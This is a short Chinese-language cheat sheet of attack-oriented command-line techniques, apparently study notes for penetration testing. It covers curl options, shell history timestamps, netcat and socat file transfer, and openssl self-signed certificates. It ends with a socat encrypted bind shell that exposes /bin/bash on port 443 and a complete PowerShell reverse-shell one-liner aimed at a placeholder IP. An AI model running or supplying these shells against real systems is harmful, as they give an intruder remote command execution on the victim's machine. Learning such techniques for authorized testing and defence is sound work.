1、下载指定IP的页面
curl -o -X http://XXXX
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
2、HISTTIMEFORMAT控制历史命令输出中的日期和/或时间戳
export HISTTIMEFORMAT='%F %T '
3、NC监听相关
-n选项禁用 DNS 名称解析
-l创建侦听器
-v添加一些冗长
-p 指定侦听端口号
4、NC传输文件(单向连接)
发送端:nc -lvp 1111 < test.txt
接收端:nc XXX.XX 1111 > test.txt
5、Socat 文件传输
sudo socat TCP4-LISTEN:443,fork file:XXXX.txt
TCP4-LISTEN选项指定一个IPv4 侦听器
一旦与侦听器建立连接,fork就会创建一个子进程,它允许多个连接
文件:指定要传输的文件的名称:
6、Socat访问
加密访问:socat - OPENSSL:XXX.X:XX,verify=0
7、openssl应用程序使用以下选项创建自签名证书
-req : 发起新的证书签名请求
-newkey : 生成一个新的私钥 rsa:2048:使用密钥长度为 2048 位的 RSA 加密
-nodes:存储没有密码保护的私钥
-keyout:将密钥保存到文件
-x509:输出自签名证书而不是证书请求
-days : 以天为单位设置有效期
-out : 将证书保存到文件
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
8、Socat 加密绑定 Shell
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem
使用OPENSSL-LISTEN选项在端口 443 上创建侦听器,cert=bind_shell.pem指定我们的证书文件,禁用 SSL 验证,
并在与侦听器建立连接后派生一个子进程
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
socat - OPENSSL:XX.XX,verify=0
9、PowerShell 反向 Shell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('XX.XX.X.X',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"